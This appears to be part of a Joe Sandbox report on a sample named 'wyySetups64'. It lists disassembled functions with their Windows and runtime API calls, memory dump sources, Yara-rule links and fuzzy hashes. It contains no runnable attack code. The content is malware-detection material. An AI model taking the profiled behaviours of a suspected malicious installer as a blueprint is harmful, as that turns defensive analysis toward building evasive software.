API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: aeacecc2d4bc766ab969d51d959cac02458c5a14ac40567c9b1395467646c10f
Instruction ID: 81318539126f4d389007404bd3037b0c2253b06ec081ca36cb10d5bfc900def8
Opcode Fuzzy Hash: aeacecc2d4bc766ab969d51d959cac02458c5a14ac40567c9b1395467646c10f
Instruction Fuzzy Hash: E1F06D32A446209BE721BBA8980375DB2E0AF00B20F1481DBF5647F3D2EF748901CA55

Function 03385006 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03385012

Part of subcall function 03383E5B: __getptd_noexit.LIBCMT ref: 03383E5E
Part of subcall function 03383E5B: __amsg_exit.LIBCMT ref: 03383E6B

__getptd.LIBCMT ref: 03385029
__amsg_exit.LIBCMT ref: 03385037
__lock.LIBCMT ref: 03385047
__updatetlocinfoEx_nolock.LIBCMT ref: 0338505B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 8fec391927bf72aa658254b36fa26631926a950090b611162a4361cce9eb1b79
Instruction ID: 771267a818e9edcbfe7faefd50dfdad87135e071a235b3b89c88d5afe9e722f3
Opcode Fuzzy Hash: 8fec391927bf72aa658254b36fa26631926a950090b611162a4361cce9eb1b79
Instruction Fuzzy Hash: 47F0B43AD05701DBF760FB68A8C2B8D73A4AF01B25F14424DD5556F2D0CB7855418A96

Function 032049C5 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032049D1

Part of subcall function 0320381A: __getptd_noexit.LIBCMT ref: 0320381D
Part of subcall function 0320381A: __amsg_exit.LIBCMT ref: 0320382A

__getptd.LIBCMT ref: 032049E8
__amsg_exit.LIBCMT ref: 032049F6
__lock.LIBCMT ref: 03204A06
__updatetlocinfoEx_nolock.LIBCMT ref: 03204A1A

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction ID: 67858a27ff262d3ba124acdfd74db23f6c8ea10c829880244c91bd8e5399485e
Opcode Fuzzy Hash: b8df328af2ca13b15628588c2ddeec9715aad909c858093188abaa4f1f59b7b1
Instruction Fuzzy Hash: C5F0243A925314CAE724FB699801B4E33A0AF04720F14C24CD744AF2D3CFB418C9CE49

Function 00B2E116 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B2E122

Part of subcall function 00B298E6: __getptd_noexit.LIBCMT ref: 00B298E9
Part of subcall function 00B298E6: __amsg_exit.LIBCMT ref: 00B298F6

__getptd.LIBCMT ref: 00B2E139
__amsg_exit.LIBCMT ref: 00B2E147
__lock.LIBCMT ref: 00B2E157
__updatetlocinfoEx_nolock.LIBCMT ref: 00B2E16B

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction ID: d7603fe8b7a46f16d9b6167b6a4f8e1de1369a1bc1b3443aa90ce81e071e0df8
Opcode Fuzzy Hash: ae27d4fbf31c29595a38e1aa150fd8cf220abffb4ca541ac361fbea8b80d16f3
Instruction Fuzzy Hash: E0F090329046309BEB21FBA9B80375D32E0AF00761F1841D9F56C7B2D3CB74D851DA56

Function 0337C910 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 0337C932
GetCommandLineW.KERNEL32 ref: 0337C938
GetStartupInfoW.KERNEL32(?), ref: 0337C947
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0337C96F
ExitProcess.KERNEL32 ref: 0337C977

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: 6e4e98850fd934e19492cb9f06c813e7be2ae75dfd8f179e6acbd9dbed3b93e2
Instruction ID: 126680ff90e3ba4a21bc5299759fb75e863b18f95845a4e5e560ddf1f74a66fc
Opcode Fuzzy Hash: 6e4e98850fd934e19492cb9f06c813e7be2ae75dfd8f179e6acbd9dbed3b93e2
Instruction Fuzzy Hash: AAF06D3158431CFBEB20ABA0DC8DFEB777CEB04B00F100695B619EA0D4DA716A44CB54

Function 033775B0 Relevance: 7.5, APIs: 5, Instructions: 33processCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,000001FE), ref: 033775D2
GetCommandLineW.KERNEL32 ref: 033775D8
GetStartupInfoW.KERNEL32(?), ref: 033775E7
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0337760F
ExitProcess.KERNEL32 ref: 03377617

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Process$CommandCreateExitFileInfoLineModuleNameStartup
String ID:
API String ID: 3421218197-0
Opcode ID: c393eda97510eb12d2f30ab71bbdf1a551510e076f91c0e53bfbc25742ccd659
Instruction ID: 7c9f38c6c582d54bcc7714c277582e79e6b9d561521a3d8719f83bdd4ff6d125
Opcode Fuzzy Hash: c393eda97510eb12d2f30ab71bbdf1a551510e076f91c0e53bfbc25742ccd659
Instruction Fuzzy Hash: 16F0907158531DFBE720ABA0DC8DFEA777CEB04B00F100695B619EA0C4D6716A44CB54

Function 00BD71AA Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD82F0: _doexit.LIBCMT ref: 00BD82FC

___set_flsgetvalue.LIBCMT ref: 00BD71BC

Part of subcall function 00BD9754: TlsGetValue.KERNEL32(00000000,00BD98AD,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000), ref: 00BD975D
Part of subcall function 00BD9754: DecodePointer.KERNEL32(?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA,0000000D), ref: 00BD976F
Part of subcall function 00BD9754: TlsSetValue.KERNEL32(00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000,00000000,?,00BD99BA), ref: 00BD977E

___fls_getvalue@4.LIBCMT ref: 00BD71C7

Part of subcall function 00BD9734: TlsGetValue.KERNEL32(?,?,00BD71CC,00000000), ref: 00BD9742

___fls_setvalue@8.LIBCMT ref: 00BD71DA

Part of subcall function 00BD9788: DecodePointer.KERNEL32(?,?,?,00BD71DF,00000000,?,00000000), ref: 00BD9799

GetLastError.KERNEL32(00000000,?,00000000), ref: 00BD71E3
ExitThread.KERNEL32 ref: 00BD71EA
GetCurrentThreadId.KERNEL32 ref: 00BD71F0
__freefls@4.LIBCMT ref: 00BD7210

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: 93a54f288456e49b4520536564fa631ed42b5905714dc7c49ec03ff63d776f0c
Instruction ID: c0e9f263b0d3d614b41fe37277ee6b4403125670ffd5ef22aa018926f4b7d49a
Opcode Fuzzy Hash: 93a54f288456e49b4520536564fa631ed42b5905714dc7c49ec03ff63d776f0c
Instruction Fuzzy Hash: F2E0463691564A6B8F103BB18D4E8DEFAED9D41358F000882FA20A7202FF289C0186A2

Function 0337F9B8 Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03381CD0: _doexit.LIBCMT ref: 03381CDC

___set_flsgetvalue.LIBCMT ref: 0337F9CA

Part of subcall function 03383CA0: TlsGetValue.KERNEL32(00000000,03383DF9,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000), ref: 03383CA9
Part of subcall function 03383CA0: DecodePointer.KERNEL32(?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000,?,03383F06,0000000D), ref: 03383CBB
Part of subcall function 03383CA0: TlsSetValue.KERNEL32(00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000,00000000,?,03383F06), ref: 03383CCA

___fls_getvalue@4.LIBCMT ref: 0337F9D5

Part of subcall function 03383C80: TlsGetValue.KERNEL32(?,?,0337F9DA,00000000), ref: 03383C8E

___fls_setvalue@8.LIBCMT ref: 0337F9E8

Part of subcall function 03383CD4: DecodePointer.KERNEL32(?,?,?,0337F9ED,00000000,?,00000000), ref: 03383CE5

GetLastError.KERNEL32(00000000,?,00000000), ref: 0337F9F1
ExitThread.KERNEL32 ref: 0337F9F8
GetCurrentThreadId.KERNEL32 ref: 0337F9FE
__freefls@4.LIBCMT ref: 0337FA1E

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 781180411-0
Opcode ID: 8f7b0990ddae8462c3fb30c1e045ad7ceb689a100241d2bd4c9ab7cef22a5082
Instruction ID: 9c4c06f56a41e10fe3fa5a820fef2ba706a750521fbbd7dab71bdac5b9e6d5d2
Opcode Fuzzy Hash: 8f7b0990ddae8462c3fb30c1e045ad7ceb689a100241d2bd4c9ab7cef22a5082
Instruction Fuzzy Hash: ECE0BF7DE00719B7CB50B7B19D8985F7A7CAD016A1F150450EE15DB200EA29D51187A6

Function 03379430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0337944A

Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EF9B
Part of subcall function 0337EF86: __CxxThrowException@8.LIBCMT ref: 0337EFB0
Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EFC1

std::_Xinvalid_argument.LIBCPMT ref: 03379482

Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF4E
Part of subcall function 0337EF39: __CxxThrowException@8.LIBCMT ref: 0337EF63
Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF74

Strings

invalid string position, xrefs: 03379445
string too long, xrefs: 0337947D

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 2fad3911d20800043290ee8f6863df2922e069065c1805be8387bf179f35747c
Instruction ID: e6fc1ab60938138aaba70af3ec9900e407ca8be717d1e4fddd7b9f854e1d44d6
Opcode Fuzzy Hash: 2fad3911d20800043290ee8f6863df2922e069065c1805be8387bf179f35747c
Instruction Fuzzy Hash: 5A21A5377102149BD731EE6CECC0B5AF7E9EB91664B250B6FE192CB640D765D880C3A1

Function 033784B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 033784C9

Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EF9B
Part of subcall function 0337EF86: __CxxThrowException@8.LIBCMT ref: 0337EFB0
Part of subcall function 0337EF86: std::exception::exception.LIBCMT ref: 0337EFC1

std::_Xinvalid_argument.LIBCPMT ref: 033784E7

Strings

invalid string position, xrefs: 033784C4
string too long, xrefs: 033784E2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: invalid string position$string too long
API String ID: 963545896-4289949731
Opcode ID: 6959d8dc4fea10eca9eb703421664e0019c726d12cc3cd81bb05ebdc822548ee
Instruction ID: 4eafed6401a4fc43a97b7e44ceb50cfde45c9276df32217ffbeca20eac9c3adb
Opcode Fuzzy Hash: 6959d8dc4fea10eca9eb703421664e0019c726d12cc3cd81bb05ebdc822548ee
Instruction Fuzzy Hash: 8A21A235B10306DF8B24DF6CE8C5C59B3AABF88364714466AF516CF641E734EA54C790

Function 00B33A27 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00B33A3A

Part of subcall function 00B33995: ___BuildCatchObjectHelper.LIBCMT ref: 00B339CB

_UnwindNestedFrames.LIBCMT ref: 00B33A51

Strings

csm, xrefs: 00B33A29
csm, xrefs: 00B33A36, 00B33A4B, 00B33A5E, 00B33A7C, 00B33A8C

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 6440370d195759820379d8f677f9af03d51fa9fbd4961ba21259bb462cc83b15
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: 4201F63100010ABBDF12AF51CC46EAF7FEAEF08754F208050BD5815261D772DAB1DBA1

Function 0337D830 Relevance: 6.4, APIs: 5, Instructions: 140COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 0337D868
IsBadReadPtr.KERNEL32(?,00000014), ref: 0337D938
SetLastError.KERNEL32(0000007F), ref: 0337D963

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Read$ErrorLast
String ID:
API String ID: 2715074504-0
Opcode ID: dff8af81e28bf994cf2aaa14f85205c58263fb693875d23e24dfa06cd5512e87
Instruction ID: 6eb8ce23033999347ad14a75a03069ab01e88767bb2684ea4317c000a2d5a077
Opcode Fuzzy Hash: dff8af81e28bf994cf2aaa14f85205c58263fb693875d23e24dfa06cd5512e87
Instruction Fuzzy Hash: 18418971A0060AABDB20DF99DCC0B6AF3F9FF88314F188599E8599B350D775E901CB90

Function 032039D3 Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 032039E7
__init_pointers.LIBCMT ref: 03203A99
__calloc_crt.LIBCMT ref: 03203B07

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction ID: 71eff737a15e9eaf114be0757d90cd394d3e9ef591ade109f61b039cedde410c
Opcode Fuzzy Hash: 76c9643fd1df18821398edaab6323fbd9f0414cbbe87c74b2baaec3723e64a7d
Instruction Fuzzy Hash: 1A316D39912721EFEB12EB758C98A57BFA4EB44760B14451AFA10DA2B2E7708089DF40

Function 00B29A9D Relevance: 6.1, APIs: 4, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00B29AB1
__init_pointers.LIBCMT ref: 00B29B63
__calloc_crt.LIBCMT ref: 00B29BD1

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __calloc_crt__init_pointers__mtterm
String ID:
API String ID: 2478854527-0
Opcode ID: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction ID: fd1695e190700dbd08d139e828bb2e522f0448e333476b1f3184dd008c266bbc
Opcode Fuzzy Hash: 720715378607e4f18366517d453de5e5cb8b5ca67b172311fa18d72390665dd8
Instruction Fuzzy Hash: 71314C31850E35EAFB21AF74AD887453EE6EB49361B188156E418D7270FB31C481CF50

Function 00BDE425 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00BDE459
__isleadbyte_l.LIBCMT ref: 00BDE48C
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00BDE4BD
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 00BDE52B

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0ad3a66148fbb0acdca7fc405ce80c716ae333206a744410e48f7932bec4bfca
Instruction ID: 79973bc289bf2a904860f4bbd4bb97f909176988262e27de7aeb9be4d19a4f24
Opcode Fuzzy Hash: 0ad3a66148fbb0acdca7fc405ce80c716ae333206a744410e48f7932bec4bfca
Instruction Fuzzy Hash: 2A318931A01296EFDB21EF64C8909ADBBE1EF01310B1885EAE4759F391E730D940DFA1

Function 0338A5C2 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0338A5F6
__isleadbyte_l.LIBCMT ref: 0338A629
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 0338A65A
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 0338A6C8

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 7860dc174915edbd99ee84fde4280406f851a5b0e3e693991b7925ca5a9e6a51
Instruction ID: db4ffa6856558d8eed2326a0f7c17d6fe43fad6188f8bcc50fafeeb085410b80
Opcode Fuzzy Hash: 7860dc174915edbd99ee84fde4280406f851a5b0e3e693991b7925ca5a9e6a51
Instruction Fuzzy Hash: 7831AE31A01346EFDF20EF64CCD0AAEBBB9BF01211F1985AAE5918B194D331D990CB50

Function 03378020 Relevance: 6.1, APIs: 4, Instructions: 91stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 03378038
_memset.LIBCMT ref: 03378042
lstrlenW.KERNEL32(?), ref: 0337804B
lstrlenW.KERNEL32(?), ref: 03378056

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: lstrlen$_memset
String ID:
API String ID: 2425037729-0
Opcode ID: aab5bbd6fa4c719ac3ee7145a1150e59ec4bd478714cf508c9409b8abec27d03
Instruction ID: fd174e9f6a4add4ce90ee88dc5847b7a29367fabbc276467be8cc428fd432990
Opcode Fuzzy Hash: aab5bbd6fa4c719ac3ee7145a1150e59ec4bd478714cf508c9409b8abec27d03
Instruction Fuzzy Hash: 4421DB76B00208BBCB34DF69DCC69BEB3A9EBC4710B19406DED059B601E73D995186A1

Function 00BD4380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 00BD43EC

Part of subcall function 00BD13A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 00BD13CB

Part of subcall function 00BD4C50: HeapFree.KERNEL32(?,00000000,?,00000000,00BD4E35,?,00BD42C8,00BD4E35,00000000,?,?,00BD4E35,?), ref: 00BD4C77

SetLastError.KERNEL32(00000000,?), ref: 00BD43D7
SetLastError.KERNEL32(00000057), ref: 00BD4401
WSAGetLastError.WS2_32(?), ref: 00BD4410

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$Heap$AllocFree
String ID:
API String ID: 1906775185-0
Opcode ID: 16fa47560858cd513b95d7a7a0876a1d087168085c2680b65fa13d4e2c5c23bf
Instruction ID: 13d9cb7afea889b4a8935efb64a56a6b0bce1e480f95035c377c0193f2c1459a
Opcode Fuzzy Hash: 16fa47560858cd513b95d7a7a0876a1d087168085c2680b65fa13d4e2c5c23bf
Instruction Fuzzy Hash: DB115136A05518AB8720EFA9B8845EEF7E8EB84332B0445FBFD09D7301EB359D1146D5

Function 03374380 Relevance: 6.1, APIs: 4, Instructions: 70networkCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F), ref: 033743EC

Part of subcall function 033713A0: HeapAlloc.KERNEL32(00000000,00000000,?,?,?,?), ref: 033713CB

Part of subcall function 033741E0: EnterCriticalSection.KERNEL32(03374FB5,03374E55,033742BE,00000000,?,?,03374E55,?,?,?,?,00000000,000000FF), ref: 033741E8
Part of subcall function 033741E0: LeaveCriticalSection.KERNEL32(03374FB5,?,?,?,00000000,000000FF), ref: 033741F6

Part of subcall function 03374C70: HeapFree.KERNEL32(?,00000000,?,00000000,03374E55,?,033742C8,03374E55,00000000,?,?,03374E55,?), ref: 03374C97

SetLastError.KERNEL32(00000000,?), ref: 033743D7
SetLastError.KERNEL32(00000057), ref: 03374401
WSAGetLastError.WS2_32(?), ref: 03374410

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$CriticalHeapSection$AllocEnterFreeLeave
String ID:
API String ID: 2060118545-0
Opcode ID: 18cff66cf8efa7a3e2e910cc815bde2b7f277a6b919e89b8cd23ce0f8261e48d
Instruction ID: aa43be61dd617faece93cb2f9355b6b5e2181fb9ed62c14c4c391bd96acfbc9c
Opcode Fuzzy Hash: 18cff66cf8efa7a3e2e910cc815bde2b7f277a6b919e89b8cd23ce0f8261e48d
Instruction Fuzzy Hash: E611773AE0551CE79720EF7AF8C459FB7A8EB84322B5845AAEC0CD7200D635991146D0

Function 0337DE70 Relevance: 6.1, APIs: 4, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0337DE93
_free.LIBCMT ref: 0337DED5
GetProcessHeap.KERNEL32(00000000,00000000,0337DC95), ref: 0337DEFC
HeapFree.KERNEL32(00000000), ref: 0337DF03

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Heap_free$FreeProcess
String ID:
API String ID: 1072109031-0
Opcode ID: e6e9af86d335638c5556b0aba203cf320ca7a357b8cd4b1bc459f6fa65828d07
Instruction ID: bf13555f10ef8ae75357341a0b321c32adbd8e2f93e6ef788ff3b2088a5db5a5
Opcode Fuzzy Hash: e6e9af86d335638c5556b0aba203cf320ca7a357b8cd4b1bc459f6fa65828d07
Instruction Fuzzy Hash: 54114C71600B009BD630DB64CC85F17B3AABF84710F18891CE59A87A90D778F442CB91

Function 00BD3BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00BD3ABB,00000023), ref: 00BD3C02
WSAGetLastError.WS2_32 ref: 00BD3C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 00BD3C58
WSAGetLastError.WS2_32 ref: 00BD3C63

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
